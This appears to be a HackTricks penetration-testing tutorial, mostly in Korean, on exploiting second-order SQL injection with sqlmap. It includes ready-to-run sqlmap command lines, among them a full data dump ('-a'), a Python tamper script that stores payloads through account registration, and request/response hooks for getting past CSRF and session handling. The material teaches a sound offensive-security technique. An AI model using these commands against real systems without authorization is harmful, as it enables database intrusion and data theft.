Second Order Injection with SQLMap

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

SQLMap는 Second Order SQLi를 exploit할 수 있습니다.
다음이 필요합니다:

  • sqlinjection payload가 저장될 request
  • payloadexecutedrequest

SQL injection payload가 저장되는 request는 sqlmap의 다른 injection과 마찬가지로 지정합니다. sqlmap이 injection의 output/execution을 읽을 수 있는 request는 --second-url로 지정할 수 있으며, 파일에서 완전한 request를 지정해야 하면 --second-req를 사용할 수 있습니다.

Simple second order example:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

여러 경우에 이것만으로는 충분하지 않습니다. 왜냐하면 payload를 보내고 다른 페이지에 접근하는 것 외에 다른 작업을 수행해야 할 수도 있기 때문입니다.

이럴 때 sqlmap tamper를 사용할 수 있습니다. 예를 들어 다음 스크립트는 sqlmap payload를 email로 사용해 새 사용자를 등록하고 logout합니다.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

A SQLMap tamper는 항상 payload로 injection 시도를 시작하기 전에 실행되며 payload를 반환해야 합니다. 이 경우에는 payload 자체는 중요하지 않고, 몇몇 request를 보내는 것이 중요하므로 payload는 변경되지 않습니다.

따라서 어떤 이유로든 second order SQL injection을 exploit하기 위해 더 복잡한 flow가 필요하다면, 예를 들어:

  • “email” 필드 안에 SQLi payload를 넣어 계정 생성
  • Logout
  • 그 계정으로 Login (login.txt)
  • SQL injection을 실행하기 위한 request 전송 (second.txt)

이 sqlmap line이 도움이 될 것입니다:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all

실제 second-order 흐름에서 유용한 스위치

Second-order automation은 보통 payload 저장 요청은 성공하지만, 실행 요청이 noisy하거나, stateful하거나, 보호되어 있기 때문에 실패합니다. 그런 경우에는 더 많은 payload를 추가하는 것보다 다음 flags가 보통 더 유용합니다:

sqlmap -r login.txt -p email \
--second-req second.txt \
--csrf-token csrf \
--csrf-url https://target.tld/profile \
--csrf-method POST \
--live-cookies cookies.txt \
--safe-req keepalive.txt \
--safe-freq 1 \
--string "Welcome back" \
--text-only
  • --csrf-token, --csrf-url, --csrf-method: store 또는 trigger request마다 새 anti-CSRF token이 필요할 때 유용하다.
  • --live-cookies: 각 request 전에 cookies를 다시 로드한다. browser/Burp macro가 백그라운드에서 session state를 갱신할 때 유용하다.
  • --safe-req and --safe-freq: application이 몇 번의 실패한 probe 후에 logout시키거나 session을 무효화할 때 workflow를 계속 유지한다.
  • --string, --not-string, --regexp, --code, --text-only: second-order response에 banners, ads, timestamps, 또는 diffing을 불안정하게 만드는 user-generated junk가 포함될 때 유용하다.

When --tamper is not enough

tamper.py는 여전히 payload를 등록하고, log out한 뒤, 다시 log in하고, execution을 trigger하는 가장 쉬운 방법이다. 그러나 최신 target에서는 일부 logic을 request/response hooks로 옮기는 것이 더 깔끔한 경우가 많다:

  • --preprocess: 전송되기 전에 전체 HTTP request를 수정한다. second-order flow에 추가 nonce, 추가 parameter, 또는 header normalization이 필요할 때 유용하다.
  • --postprocess: sqlmap이 비교하기 전에 HTTP response를 정리한다. second-order sink가 dynamic HTML로 감싸져 있고 일부 fragment만 stable할 때 유용하다.

Example request/response hooks:

#!/usr/bin/env python
def preprocess(req):
if req.data:
req.data += b"&preview=1"
#!/usr/bin/env python
import re
def postprocess(page, headers=None, code=None):
page = re.sub(br"<span>Generated at .*?</span>", b"", page or b"")
return page, headers, code

Important limitations

  • --second-req가 두 번째 request의 * placeholder 안에 같은 payload를 그대로 재전송한다고 가정하지 마세요. trigger request에도 injected value(또는 그 파생값)가 필요하면, 보통 custom tamper, --preprocess, 또는 local proxy가 필요합니다.
  • 두 번째 request에 --eval의존하지 마세요. 공식 usage 문서는 --eval을 primary request flow에 대해 문서화합니다. 두 번째 request에도 per-attempt mutations가 필요하면, 대신 helper scripts 안에서 처리하세요.

This pattern is especially useful when the payload is stored in places such as:

  • Filenames or image metadata that are queried later
  • Registration/profile fields later consumed by admin panels
  • Sorting/filtering preferences saved server-side and replayed later
  • Workflow state that is only executed after a preview, export, or moderation action

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기